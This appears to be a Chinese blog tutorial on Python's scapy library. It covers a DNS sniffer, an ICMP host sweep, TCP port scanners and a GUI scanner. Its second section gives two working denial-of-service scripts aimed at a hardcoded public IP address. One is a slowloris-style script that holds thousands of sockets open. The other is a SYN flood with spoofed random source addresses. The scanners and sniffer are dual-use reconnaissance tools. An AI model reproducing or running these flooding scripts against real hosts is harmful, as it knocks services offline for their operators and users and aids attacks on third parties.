Python scapy的简单使用_scapy.all

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档

一、DNS监测简单脚本？

主要通过抓取端口53以及dns的包,通过数据包的qname和rrname判断是否存在某个域名的解析

from scapy.all import *
from scapy.layers.dns import DNSQR, DNSRR, DNS
from scapy.layers.inet import IP
import time
 
 
def dns_sniff(packge):
    if 'baidu.com' in str(packge[DNSQR].qname) and DNSRR not in packge:
        print(time.strftime("%H:%M:%S", time.localtime()))
        print("解析url: %s 从ip %s 向%s域名服务器发送请求" % (
        str(packge[DNSQR].qname[:-1]).strip('b'), packge[IP].src, packge[IP].dst))
    if DNSRR in packge and packge.sport == 53 and DNSQR in packge:
        if 'baidu.com' in str(packge[DNSRR].rrname):
            print("解析url: %s 从域名服务器 %s 向%s发送回应" % (
                str(packge[DNSQR].qname[:-1]).strip('b'), packge[IP].src, packge[IP].dst))
            for i in range(packge[DNS].ancount):
                dnsrr = packge[DNS].an[i]
                print("域名服务器将url: %s 解析为 %s" % (
                    str(dnsrr.rrname[:-1]).strip('b'), str(dnsrr.rdata).strip('b')))
 
 
def main():
    packge = sniff(filter='udp and port 53', prn=dns_sniff)
 
 
if __name__ == '__main__':
    main()

二、模拟Dos攻击和拒绝服务攻击

伪造源ip地址和随机端口往某服务器发TCP的包,使服务器进入等待状态,包足够多,服务器无法接受正常流量

import time
import threading
import requests
import socket
 
url = "http://120.79.29.170"
data = ("GET /HTTP/1.0\r\n"
        "Host: 120.79.29.170\r\n"
        "Content-Length: 10000000\r\n"
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0\r\n"
        )
 
sockets = []
 
 
def request_thread():
    for i in range(1, 10000):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect(('120.79.29.170', 80))
            s.send(data.encode())
            print(f"dos攻击第{i}\n")
            sockets.append(s)
        except Exception as ex:
            print(f"Couldn't connect 120.79.29.170{ex}")
            time.sleep(10)
 
 
def send_thread():
    global sockets
    while True:
        for s in sockets:
            try:
                s.send("f".encode())
            except Exception as ex:
                print(f"Send Exception:%s\n{ex}")
                sockets.remove(s)
                s.close()
        time.sleep(1)
 
 
start = threading.Thread(target=request_thread, args=())
send = threading.Thread(target=send_thread, args=())
 
start.start()
send.start()

from scapy.all import *
import random
from scapy.layers.inet import IP, TCP
from scapy.layers.l2 import Ether
 
 
def dos():
    for i in range(1, 100000):
        random_ip = str(random.randint(120, 150)) + "." + str(random.randint(1, 254)) + "." + str(
            random.randint(1, 254)) + "." + str(random.randint(1, 254))
        seq_number = random.randint(1, 65535 * 65535)
        ack_number = random.randint(1, 65535 * 65535)
        random_sport = random.randrange(20000, 65535, 1)
        payload = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
        data = IP(src=random_ip, dst="120.79.29.170") / TCP(
            sport=random_sport, dport=80, flags="S", window=8192, seq=seq_number, ack=ack_number) / payload
        send(data, verbose=False)
 
 
if __name__ == '__main__':
    start = threading.Thread(target=dos(), args=())
    start.start()

三、主机扫描

通过向ip段发IP和ICMP的包,通过是否有回应包判断主机是否存活

from scapy.all import *
from scapy.layers.inet import TCP, IP, ICMP
 
 
def icmp_scan(startip, endip, number):
    for i in range(0, number + 1):
        ipend = startip.split('.')[3]
        last = int(ipend) + int(i)
        ip = startip.split('.')[0] + '.' + startip.split('.')[1] + '.' + startip.split('.')[2] + '.' + str(last)
        p = IP(dst=ip) / ICMP()
        ans = sr1(p, timeout=3, verbose=0)
        if ans is not None:
            print(str(ip) + "主机存活")
        else:
            print(str(ip) + "主机不存活")
 
 
if __name__ == '__main__':
    sip = input("起始扫描的网段ip:")
    eip = input("终止扫描的网段ip:")
    s = sip.split('.')[3]
    e = eip.split('.')[3]
    num = int(e) - int(s)
    start = threading.Thread(target=icmp_scan, args=(sip, eip, num))
    start.start()

四、端口扫描

通过向某ip的端口发送IP/TCP的数据包,接受回应的数据,判断数据包中是否存在关键字‘SA'判断是否存活

from scapy.all import *
from scapy.layers.inet import TCP, IP
import re
 
conf.verb = 0
 
 
def portscan(ip, lport, hport):
    for i in range(int(lport), int(hport)):
        data = IP(dst=ip) / TCP(dport=i)
        ans, unans = sr(data, timeout=3)
        if ans:
            res = str(ans[0])
            if re.findall("SA", res):
                print(str(i) + "存活")
            else:
                print(str(i) + "不存活")
        else:
            print(str(i) + "不存活")
 
 
if __name__ == '__main__':
    ip = input("输入要扫描的ip地址:")
    lport = input("要扫描的起始端口:")
    hport = input("要扫描的结束端口")
    start = threading.Thread(target=portscan, args=(ip, lport, hport))
    start.start()

五、GUI端口扫描

可以做一个工具，存在GUI页面，然后对端口开放进行扫描。原理可以通过python发送TCP包，判断回报的flags是否等于18判断端口是否存活，然后根据回包情况判断四种情况，不存活，被过滤，不接受TCP连接，然后根据端口号的情况判断一些常见的服务，最后融入多线程服务完成简单的GUI工具制造。

import queue
import tkinter as tk
import tkinter.messagebox
from tkinter import StringVar, END, RIGHT, Y
 
import pandas as pd
from scapy.all import *
from scapy.layers.inet import TCP, IP, ICMP
from tkinter.filedialog import *
import socket
 
port_list = []
nThread = 10
lock = threading.Lock()
service_for_port = {}
 
 
def xlsx_service():
    df = pd.read_excel("服务类型.xlsx")
    row = df.shape[0]
    for i in range(row):
        service_for_port[df.values[i, 0]] = df.values[i, 1]
 
 
def GetQueue(list):
    PortQueue = queue.Queue(65535)
    for p in list:
        PortQueue.put(p)  # 将端口添加进队列中
    return PortQueue
 
 
class Scan(object):
    def __init__(self):
        self.ip_list = []
        self.TrueIp = None
        self.flag = None
        self.window = tk.Tk()
        self.window.title('娜涵谊颖WinTeam-端口扫描')
        self.window.geometry("500x500")
        self.Ping_dict_ip = dict()
 
        tk.Label(self.window, text='IP:').place(x=10, y=90, anchor='nw')
        self.ip = tk.Entry(self.window)
        tk.Button(self.window, text="批量导入", width=8, command=self.file).place(x=175, y=90, anchor='nw')
 
        tk.Label(self.window, text='端口:').place(x=10, y=130, anchor='nw')
        sport = StringVar()
        sport.set("格式:1-65535/22,80")
        self.sport = tk.Entry(self.window, textvariable=sport)
 
        tk.Button(self.window, text='扫描', width=5, command=self.scan).place(x=20, y=310, anchor='nw')
        tk.Button(self.window, text='退出', width=5, command=self.exit).place(x=90, y=310, anchor='nw')
        tk.Button(self.window, text='清空', width=5, command=self.clear).place(x=160, y=310, anchor='nw')
        tk.Button(self.window, text='导出', width=5, command=self.out).place(x=220, y=310, anchor='nw')
 
        self.text1 = tk.Text(self.window, height=20, width=30)
 
        self.yscrollbar = tk.Scrollbar(self.window)
        tk.Label(self.window, text='扫描结果：').place(x=250, y=20, anchor='nw')
        self.yscrollbar.config(command=self.text1.yview)
        self.text1.config(yscrollcommand=self.yscrollbar.set)
 
    def layout(self):
        self.ip.place(x=50, y=92, anchor='nw')
        self.sport.place(x=70, y=130, anchor='nw')
        self.text1.place(x=255, y=50, anchor='nw', width='230')
        self.yscrollbar.pack(side=RIGHT, fill=Y)
 
    def file(self):
        filepath = askopenfilename()
        print(filepath)
        lines = open(filepath, 'r').readlines()
        for line in lines:
            self.ip_list.append(line.strip('\n'))
        self.flag = 1
 
    def getvalue(self):
        try:
            sport = str(self.sport.get())
        except:
            tk.messagebox.showerror(title='错误', message='端口参数不能为空！')
            return
        if sport.find('-') > 0:
            port_Tmp = sport.split('-')
            if not port_Tmp[0].isdigit() and port_Tmp[1].isdigit():
                tk.messagebox.showerror(title='错误', message="端口必须是数字！")
                return
            for port in range(int(port_Tmp[0]), int(port_Tmp[1]) + 1):
                port_list.append(port)
        elif sport.find(','):
            port_Tmp = sport.split(',')
            for port in port_Tmp:
                if not port.isdigit():
                    tk.messagebox.showerror(title='错误', message="端口必须是数字!")
                    return
                port_list.append(int(port))
        else:
            tk.messagebox.showerror(title='错误', message="端口输入格式有误!")
            return
 
    def scan(self):
        global port_list
        self.text1.delete(0.0, 'end')
        self.getvalue()
        SingleQueue = GetQueue(port_list)
        self.text1.insert(END, "*******开始扫描********\n" + '\n\n')
        if self.flag == 1:
            self.ip.insert(END, "继续扫描点击清空按钮")
            for ip in self.ip_list:
                if re.match(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$", ip):
                    self.TrueIp = ip
                    result = self.ping_scan(self.TrueIp)
                    self.Ping_dict_ip[self.TrueIp] = result
                else:
                    tk.messagebox.showerror(title='错误', message="IP输入格式有误")
                    return
                # self.MyThread(self.IpMultiThread, self.TrueIp, port_list)
                start = threading.Thread(target=self.IpMultiThread, args=(ip, port_list))
                start.start()
        else:
            if re.match(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$", self.ip.get()):
                self.TrueIp = self.ip.get()
            else:
                tk.messagebox.showerror(title='错误', message="IP输入格式有误")
                return
            result = self.ping_scan(self.TrueIp)
            self.Ping_dict_ip[self.TrueIp] = result
 
            for i in range(nThread):
                self.MyThread(self.SingleThread, self.TrueIp, SingleQueue)
 
    def ping_scan(self, ip):
        p = IP(dst=ip) / ICMP()
        ans = sr1(p, timeout=3, verbose=0)
        if ans is not None:
            return 1
        else:
            return 0
 
    def tcp_scan(self, ip, port):
        if lock.acquire():
            try:
                data = IP(dst=ip) / TCP(dport=port, flags="S")
                result = sr1(data, timeout=0.5, verbose=0)
                if int(result[TCP].flags) == 18:  # SYN+ACK=AC
                    try:
                        service = socket.getservbyport(port)
                    except:
                        if port in service_for_port.keys():
                            service = service_for_port[port]
                        else:
                            service = "暂时未知"
                    self.text1.insert(END, f"{ip},端口{port}存活,服务可能:{service}\n\n")
                    lock.release()
                else:
                    self.text1.insert(END, f"{ip},端口{port}不存活\n\n")
                    lock.release()
            except:
                if self.Ping_dict_ip.get(ip) == 0:
                    self.text1.insert(END, f"主机{ip}不存活\n\n")
                else:
                    self.text1.insert(END, f"主机{ip},端口{port}不接受TCP连接\n\n")
                lock.release()
 
    def SingleThread(self, ip, SingleQueue):
        while not SingleQueue.empty():
            p = SingleQueue.get()
            self.tcp_scan(ip, p)
 
    def IpMultiThread(self, ip, PortList):
        for p in PortList:
            self.tcp_scan(ip, p)
 
    def exit(self):
        result = tk.messagebox.askquestion(title='退出', message='确定退出吗？')
        if result == 'yes':
            sys.exit(0)
 
    def out(self):
        f = open('./result.txt', 'a', encoding='utf-8')
        f.write(self.text1.get("1.0", "end"))
 
    def clear(self):
        self.ip.delete(0, 'end')
        self.sport.delete(0, 'end')
        self.text1.delete(0.0, 'end')
        self.flag = None
        self.Ping_dict_ip.clear()
        port_list.clear()
 
    class MyThread(threading.Thread):
        def __init__(self, func, ip, *args):
            super().__init__()
            # self._stop_event = threading.Event()
            self.func = func
            self.args = args
            self.ip = ip
 
            self.setDaemon(True)  # 通过setDaemon(true)来设置线程为“守护线程”；将一个用户线程设置为守护线程的方式是在 线程对象创建 之前 用线程对象的setDaemon方法。
            self.start()
 
        def run(self):
            self.func(self.ip, *self.args)
 
 
if __name__ == '__main__':
    xlsx_service()
    scanner = Scan()
    scanner.layout()
    scanner.window.mainloop()

 然后可以进行导出结果和导入url文本连接的功能。